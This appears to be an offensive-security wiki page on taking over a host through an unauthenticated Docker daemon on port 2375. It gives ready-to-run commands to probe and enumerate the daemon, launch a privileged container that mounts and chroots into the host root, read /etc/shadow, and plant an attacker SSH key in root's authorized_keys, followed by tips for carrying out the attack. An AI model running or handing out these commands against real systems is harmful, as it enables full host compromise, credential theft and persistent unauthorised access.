Port 2375 is the Docker daemon's plain-HTTP API endpoint. It carries no authentication and no transport security, so every request is honoured as a local, root-privileged operation. An exposed 2375 is therefore not an information leak but an immediate full compromise: the caller has the same power as the host's root user through the daemon.
Confirm access and point the Docker CLI at it:
curl -s http://<target>:2375/version # version/info => reachable and open
export DOCKER_HOST=tcp://<target>:2375
docker info # the CLI now drives the remote daemon
docker ps -a; docker images # enumerate the environment
From access to host root#
The daemon can create a container that mounts the host root and runs privileged; one command owns the host:
docker -H tcp://<target>:2375 run -v /:/host --privileged --rm -it alpine \
chroot /host sh
# or non-interactively, read a host secret and plant a key
docker -H tcp://<target>:2375 run -v /:/host --rm alpine \
sh -c 'cat /host/etc/shadow; echo "ssh-ed25519 AAAA... a" >> /host/root/.ssh/authorized_keys'
Without the CLI, the same is done over the raw API with curl, creating a container with HostConfig.Binds of /:/host and Privileged:true, as on Runtime socket mount. Enumeration of what is already present often yields secrets faster than a fresh container; see API enumeration.
Exploitation notes#
- No credentials are involved; reachability is the only gate, so the find-and-own step is a single
docker -Hcommand once the port responds. - Reuse an image already present on the host (
docker images) to avoid a pull; any Linux image works since you immediatelychrootthe host root. - The container runs as real host root unless the daemon is in rootless mode;
docker infoshowsrootlessunder security options if so, which constrains what the mount yields.